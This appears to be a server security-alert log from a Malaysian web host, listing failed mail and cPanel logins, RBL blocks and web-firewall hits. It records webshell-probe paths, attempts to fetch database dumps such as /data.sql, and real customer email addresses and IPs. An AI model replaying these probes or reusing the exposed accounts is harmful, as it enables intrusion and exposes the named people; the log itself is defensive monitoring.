abuser: 112.135.207.188
country_id: 1227603
description:
2026-01-12 13:40:44 2451248 [Warning] Aborted connection 2451248 to db: 'unconnected' user: 'unauthenticated' host: '112.135.207.188' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 13:40:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35339: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 13:42:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:36533: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 194.187.179.190
country_id: 6252001
description:
Jan 12 13:41:34 sv3 pure-ftpd[3006301]: (?@194.187.179.190) [INFO] New connection from 194.187.179.190


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.59.239.73
country_id: 3469034
domain: feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/feliogroup.com.my/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 13:42:19 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:36534: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.13.45
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-43.65.111.13.45||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.86.62
country_id: 1512440
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=286855 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/introduction-service.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.161
country_id: 732800
description:
Jan 12 13:44:54 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.90.53.76
country_id: 6252001
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/sysconfig/imunify360/cpanel/imunify-antivirus.conf||User:root||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.182.163
country_id: 6252001
description:
[2026-01-12 13:45:28 +0800] info [webmaild] 172.58.182.163 - intercessors@agpc.org.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.161.175
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-46.171.236.161.175||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/home/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.163.40
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-46.171.236.163.40||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 13:47:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57909: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 194.165.16.167
country_id: 2993457
description:
2026-01-12 13:47:53 2451635 [Warning] Aborted connection 2451635 to db: 'unconnected' user: 'unauthenticated' host: '194.165.16.167' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 13:47:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57910: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.1.209.132
country_id: 3865483
description:
Jan 12 13:50:04 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.1.209.132 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.86.4.191
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=19 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.151.70
country_id: 1880251
domain: www.usfood.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/news-and-events.php||SC:/home2/usfoodcom/public_html/img/news-and-events.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.1.209.132
country_id: 3865483
description:
Jan 12 13:50:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.1.209.132 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.114.148.19
country_id: 587116
description:
[2026-01-12 13:53:20 +0800] info [cpaneld] 37.114.148.19 - oxboldc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 194.187.179.191
country_id: 6252001
description:
Jan 12 13:53:35 sv3 pure-ftpd[3022497]: (?@194.187.179.191) [INFO] New connection from 194.187.179.191


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 216.177.134.110
country_id: 6252001
domain: www.pspoly.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/data.sql||User:pspolycom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/images/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 58.65.221.124
country_id: 1168579
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=603677 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.28
country_id: 3175395
description:
Jan 12 13:55:49 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.28 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.188.110.224
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=611667 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.46.55.79
country_id: 3703430
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=464199 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.39.212.84
country_id: 2510769
description:
Jan 12 13:57:32 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.39.212.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.215.121.205
country_id: 1512440
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=11 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.144
country_id: 3469034
description:
Jan 12 13:59:23 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.89.211.159
country_id: 3469034
description:
Jan 12 13:59:46 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.89.211.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.186.17.134
country_id: 798544
description:
Jan 12 14:00:04 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.186.17.134 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/demos/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.186.17.134
country_id: 798544
description:
Jan 12 14:00:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.186.17.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.199
country_id: 3175395
description:
Jan 12 14:01:54 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.199 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.154
country_id: 1269750
description:
2026-01-12 14:01:56 dovecot_login authenticator failed for H=(nsg-corporate-154.230.187.122.airtel.in) [122.187.230.154]:51475: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.154
country_id: 1269750
description:
Jan 12 14:01:54 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 14:03:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52860: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.255.73.203
country_id: 1269750
description:
Jan 12 14:02:29 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.255.73.203 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 204.217.128.125
country_id: 6252001
domain: www.cofreth.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/data.sql||User:cofrethcom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.63.111.46
country_id: 3865483
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?route=product/search&tag=b031-0001 - rsc plain carton HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.227
country_id: 3469034
description:
Jan 12 14:03:00 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.227
country_id: 3469034
description:
Jan 12 14:03:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 14:03:17 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52861: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.191.143.110
country_id: 1733045
description:
[2026-01-12 14:04:04 +0800] info [webmaild] 42.191.143.110 - nazurah@fkr.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.59.39.15
country_id: 1269750
description:
2026-01-12 14:05:02 dovecot_plain authenticator failed for H=(6LCBR6) [152.59.39.15]:61123: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.175
country_id: 3175395
description:
Jan 12 14:05:15 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-12 14:05:36 +0800] info [webmaild] 115.134.149.232 - pr@smartcable.com.my "GET /cpsess9084765842/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.10
country_id: 732800
description:
Jan 12 14:05:48 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.10 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 107.178.149.213
country_id: 6252001
domain: www.cordage.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/mysql.sql||User:admincordage||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 14:06:32 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.36
country_id: 798544
description:
Jan 12 14:07:16 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 14:08:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35906: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-12 14:08:34 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:44112: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 14:08:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35906: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.63.42.76
country_id: 1814991
description:
2026-01-12 14:09:44 dovecot_login authenticator failed for H=([111.63.42.76]) [111.63.42.76]:40574: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 14:10:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:36565: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.53.110.66
country_id: 1733045
description:
[2026-01-12 14:09:35 +0800] info [webmaild] 60.53.110.66 - muslihin@sutsb.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.63.42.76
country_id: 1814991
description:
Jan 12 14:09:42 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.63.42.76 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 14:10:19 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:36566: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.40.201.40
country_id: 1269750
description:
Jan 12 14:10:42 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.40.201.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 14:11:05 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.181.28.90
country_id: 3469034
description:
Jan 12 14:10:21 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.181.28.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.107
country_id: 3469034
description:
Jan 12 14:10:56 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.107
country_id: 3469034
description:
Jan 12 14:11:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.234.135.156
country_id: 6290252
description:
Jan 12 14:11:16 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.234.135.156 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-12 14:11:29 +0800] info [webmaild] 115.134.149.232 - general02@smartcable.com.my "GET /cpsess4228189374/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.244.235.242
country_id: 1269750
description:
Jan 12 14:12:45 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.244.235.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.244.235.242
country_id: 1269750
description:
2026-01-12 14:12:47 dovecot_login authenticator failed for H=(static.ill.117.248.107.130.bsnl.co.in) [115.244.235.242]:56280: 535 Incorrect authentication data (set_id=ken@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-12 14:13:15 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:53894: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.246.68.220
country_id: 1835841
description:
Jan 12 14:14:15 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.246.68.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.246.68.220
country_id: 1835841
description:
2026-01-12 14:14:17 dovecot_login authenticator failed for H=([49.246.68.220]) [49.246.68.220]:38612: 535 Incorrect authentication data (set_id=support@kimmark.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 14:15:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57920: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.219.113.61
country_id: 1814991
description:
Jan 12 14:15:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.219.113.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 14:15:16 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57921: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.219.113.61
country_id: 1814991
description:
2026-01-12 14:15:16 dovecot_login authenticator failed for H=([60.219.113.61]) [60.219.113.61]:57317: 535 Incorrect authentication data (set_id=bizdevelopment@mkmetal.com.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 107.173.33.170
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:14-16.107.173.33.170||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.237.25.137
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=803239 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-12 14:16:48 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:47514: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.244.250
country_id: 3865483
description:
Jan 12 14:17:07 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.244.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.244.250
country_id: 3865483
description:
Jan 12 14:17:15 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.244.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 193.247.77.164
country_id: 2750405
description:
2026-01-12 14:17:20 2453044 [Warning] Aborted connection 2453044 to db: 'unconnected' user: 'unauthenticated' host: '193.247.77.164' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.27.208
country_id: 798544
description:
Jan 12 14:17:34 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.27.208 has been locked due to Imunify RBL


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 51.79.137.110
country_id: 1880251
domain: fkr.com.my
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.62||T:APACHE||REQUEST_URI:/wp/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-12 14:19:58 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:47230: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/eco.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/news.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 182.62.72.152
country_id: 1733045
description:
[2026-01-12 14:21:49 +0800] info [webmaild] 182.62.72.152 - cmchin@chs.com.my "POST /cpsess1958392859/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [182.62.73.16] != Current IP Address [182.62.72.152]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-12 14:22:26 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:33980: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.78.58.102
country_id: 3865483
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hungry/16/334/1606967 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.53.110.66
country_id: 1733045
description:
[2026-01-12 14:24:46 +0800] info [webmaild] 60.53.110.66 - infocal@sutsb.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.226.52.141
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=524261 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.77.245.235
country_id: 798549
description:
2026-01-12 14:25:43 dovecot_plain authenticator failed for H=(E1261D68V5UP6) [82.77.245.235]:44685: 535 Incorrect authentication data (set_id=huichieng@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-12 14:26:25 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:33418: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
